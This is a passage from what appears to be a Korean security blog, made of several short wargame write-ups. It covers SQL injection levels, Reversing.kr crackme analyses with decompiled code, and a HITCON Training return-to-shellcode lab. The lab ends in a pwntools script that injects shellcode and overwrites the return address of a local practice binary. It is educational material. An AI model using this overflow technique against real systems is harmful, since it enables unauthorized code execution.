LOS(los.eagle-jump.org) Cobolt
 Gremlin 문제와 크게 다르지 않다. 다른건 pw에 md5함수가 생긴것. 풀이 역시 Gremlin과 크게 다르지 않다.

 

끝!

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLInjection] Darkelf  (0) 2019.08.18
[Lord of SQLInjection] Wolfman  (0) 2019.08.17
[Lord of SQLinjection] Orc  (0) 2019.08.16
[Lord of SQLinjection] Goblin  (0) 2019.08.14
[Lord of SQLinjection] Gremlin  (0) 2019.08.14

 

LOS(los.eagle-jump.org) Gremlin
 id=toast&pw=newbie를 넘기면 친절하게도 위쪽에 전송되는 쿼리가 표시됩니다. id는 당연히 admin일거고 pw를 맞춰야 하는데 간단한 방법으로 슥삭 가능. 정확한 답은 남기진 않고 아래 clear된 쿼리만 공개함.

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLInjection] Darkelf  (0) 2019.08.18
[Lord of SQLInjection] Wolfman  (0) 2019.08.17
[Lord of SQLinjection] Orc  (0) 2019.08.16
[Lord of SQLinjection] Goblin  (0) 2019.08.14
[Lord of SQLinjection] Cobolt  (0) 2019.08.14
int __cdecl main() 
{ 
  write(1, "Reversing.Kr Easy ELF\n\n", 23u); 
  sub_8048434(); 
  if ( sub_8048451() == 1 ) 
    sub_80484F7(); 
  else 
    write(1, "Wrong\n", 6u); 
  return 0; 
}
int sub_8048434()
{
  return __isoc99_scanf((const char *)&unk_8048650, &byte_804A020);
}
_BOOL4 sub_8048451()
{
  if ( byte_804A021 != 0x31 )
    return 0;
  byte_804A020 ^= 0x34u;
  byte_804A022 ^= 0x32u;
  byte_804A023 ^= 0x88u;
  if ( byte_804A024 != 0x58 )
    return 0;
  if ( byte_804A025 )
    return 0;
  if ( byte_804A022 != 0x7C )
    return 0;
  if ( byte_804A020 == 0x78 )
    return byte_804A023 == 0xDDu;
  return 0;
}​

scanf로 문자열 입력받고나서 xor과 if문을 통해 값을 검사하고 해당 검사 모두 패스하면 끝.

살짝 고민했던건 byte_804A020~byte_804A025까지 있는데 일단 if문 특성상 0이 아니면 모두 True처리해서 아무거나 입력하면 되는건가 했으나 플래그를 구하고나니 그건 아닌듯 싶었다가 생각해보니 \n이 있었다는게 생각났다 ㅋㅋ

저것때문에 3분정도 고민..ㅡㅠ

'Reversing > Reversing.kr' 카테고리의 다른 글

[Reversing.kr] Easy Keygen  (0) 2019.08.13

 이 포스트를 포함해서 앞으로 올라오는 몇몇 포스트는 기존 포스팅 순서에 신경쓰지 않고 올라와서 굉장히 뜬금없을 수 도 있고 굉장히 대충대충 써져있을 수 있습니다. 개인적인 사정이 있어 급하게 올린것이고 추후 수정할 예정입니다. :)

...더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // ebp
  signed int i; // esi
  char v6; // [esp+Ch] [ebp-130h]
  char v7; // [esp+Dh] [ebp-12Fh]
  char v8; // [esp+Eh] [ebp-12Eh]
  char v9; // [esp+10h] [ebp-12Ch]
  char v10; // [esp+11h] [ebp-12Bh]
  __int16 v11; // [esp+71h] [ebp-CBh]
  char v12; // [esp+73h] [ebp-C9h]
  char v13; // [esp+74h] [ebp-C8h]
  char v14; // [esp+75h] [ebp-C7h]
  __int16 v15; // [esp+139h] [ebp-3h]
  char v16; // [esp+13Bh] [ebp-1h]

  v9 = 0;
  v13 = 0;
  memset(&v10, 0, 0x60u);
  v11 = 0;
  v12 = 0;
  memset(&v14, 0, 0xC4u);
  v15 = 0;
  v16 = 0;
  v6 = 16;
  v7 = 32;
  v8 = 48;
  sub_4011B9(aInputName);
  scanf(aS, &v9);
  v3 = 0;
  for ( i = 0; v3 < (signed int)strlen(&v9); ++i )
  {
    if ( i >= 3 )
      i = 0;
    sprintf(&v13, aS02x, &v13, *(&v9 + v3++) ^ *(&v6 + i));
  }
  memset(&v9, 0, 0x64u);
  sub_4011B9(aInputSerial);
  scanf(aS, &v9);
  if ( !strcmp(&v9, &v13) )
    sub_4011B9(aCorrect);
  else
    sub_4011B9(aWrong);
  return 0;
}

 

 

usr_input[0] ^ v6
usr_input[1] ^ v7
usr_input[2] ^ v8
usr_input[3] ^ v6
usr_input[4] ^ v7
usr_input[5] ^ v8
....(usr_input 사이즈만큼 반복)

처음엔 &v6 + i 부분 때문에 고생하다가 올리디버거로 디버깅해서 알아냄..ㅠㅠ

그리고 xor는 xor하면 다시 원복되니까 해당 특징 이용해서 슥삭..

 

'Reversing > Reversing.kr' 카테고리의 다른 글

[Reversing.kr] Easy ELF  (0) 2019.08.13

 

 LAB2를 건너 뛰고 LAB3입니다. LAB2는 Shellcode에 대한 문제인데 블로그엔 아직 Shellcode에 대한 내용을 포스팅하지 않고 바로 Return to Shellcode로 넘어왔기에 흐름상 LAB3가 맞다고 판단했습니다. LAB3 안에는 다양한 파일들이 있는데 가급적이면 ret2sc 바이너리만 갖고 문제를 분석하고 풀도록 하겠습니다. ret2sc.py는 답지니까 가급적 보지 않는것을 추천드립니다.
 바이너리를 실행해보면 Name을 입력받고 어떤 입력을 받은 뒤 바로 끝납니다. 일단 바로 pwndbg로 까보도록하죠.

 

Dump of assembler code for function main:
   0x080484cd <+0>:	push   ebp
   0x080484ce <+1>:	mov    ebp,esp
   0x080484d0 <+3>:	and    esp,0xfffffff0
   0x080484d3 <+6>:	sub    esp,0x30
   0x080484d6 <+9>:	mov    eax,ds:0x804a040
   0x080484db <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x080484e3 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x080484eb <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x080484f3 <+38>:	mov    DWORD PTR [esp],eax
   0x080484f6 <+41>:	call   0x80483c0 <setvbuf@plt>
   0x080484fb <+46>:	mov    DWORD PTR [esp],0x80485d0
   0x08048502 <+53>:	call   0x8048380 <printf@plt>
   0x08048507 <+58>:	mov    DWORD PTR [esp+0x8],0x32
   0x0804850f <+66>:	mov    DWORD PTR [esp+0x4],0x804a060
   0x08048517 <+74>:	mov    DWORD PTR [esp],0x0
   0x0804851e <+81>:	call   0x8048370 <read@plt>
   0x08048523 <+86>:	mov    DWORD PTR [esp],0x80485d6
   0x0804852a <+93>:	call   0x8048380 <printf@plt>
   0x0804852f <+98>:	lea    eax,[esp+0x1c]
   0x08048533 <+102>:	mov    DWORD PTR [esp],eax
   0x08048536 <+105>:	call   0x8048390 <gets@plt>
   0x0804853b <+110>:	nop
   0x0804853c <+111>:	leave  
   0x0804853d <+112>:	ret    
End of assembler dump.

 

 main을 보면 setvbuf, printf, read, gets가 눈에 들어옵니다. 이 문제의 포인트는 gets 함수입니다. C/C++ 코딩 경험이 좀 있으신 분들은 아실지도 모르겠습니다만 gets함수의 경우 사용자 입력을 받는 함수입니다. 그리고 이게 문제의 포인트가 되는 이유는 gets함수는 입력 길이에 제한을 두지 않습니다. 예를들어 char a[30] 를 선언하고 gets(a)를 했을때 길이가 50짜리인 문자열을 입력할 경우 30byte까지는 a에 들어가지만 남는 값들은 전부 overflow 됩니다. 좀 더 정확한 분석을 위해 입력을 받는 부분인 read와 gets에 breakpoint를 걸고 진행해보겠습니다.

 

 

 read를 호출할때 넘어가는 인자값에 대해 간단하게 살펴보고 가자면 일단 사용자 입력을 받고(fd : 0x0), name이라는 변수에 넣어주며(buf : 0x804a060 (name)), 그 길이는 50byte입니다. (nbytes : 0x32 == 50) read함수와 file descryptor(fd)에 대해 한번 찾아보시면 바로 알 수 있는 내용입니다. 그럼 바로 gets로 넘어가보겠습니다.

 

 

 gets를 호출하는 부분을 보면 arg[0]~[3]까지 존재하는데 arg[1]~[3]은 이전에 read함수를 호출할때 남아 있던 인자값들이며 gets함수에 영향을 주지 않습니다. 단, arg[0]는 입력한 값들을 저장할 주소입니다. 일단 A를 4개 넣고 넘어갑니다.

 

 

 A 4개가 0xffffd13c에 잘 들어간것을 확인했습니다. 그리고 ebp의 주소를 확인해보니 0xffffd158입니다. 자 그럼 현재까지 모은 정보를 정리해보면 마음껏 쓸 수 있는 50Byte짜리 공간이 메모리 어딘가에 있고, 길이를 체크하지 않는 함수를 써서 입력 받는 함수가 있고, 입력값은 ebp와 0x1c(28)만큼 차이나는 곳에 저장이 됩니다. 그럼 대충 아래와 같은 방법이 먹히겠네요!

 

 

 

 실제로 이 방법이 먹히는지 테스트해보도록 하겠습니다. 아래는 제가 짠 python 코드입니다.

...더보기
from pwn import *

p = process("./ret2sc")
name = 0x804a060
shellcode=asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")

payload="A"*28+"B"*4+p32(name)
p.sendline(payload)
p.interactive()

끝!

'Pwnable > HITCON Training' 카테고리의 다른 글

[HITCON Training] LAB1 sysmagic  (0) 2019.08.03

+ Recent posts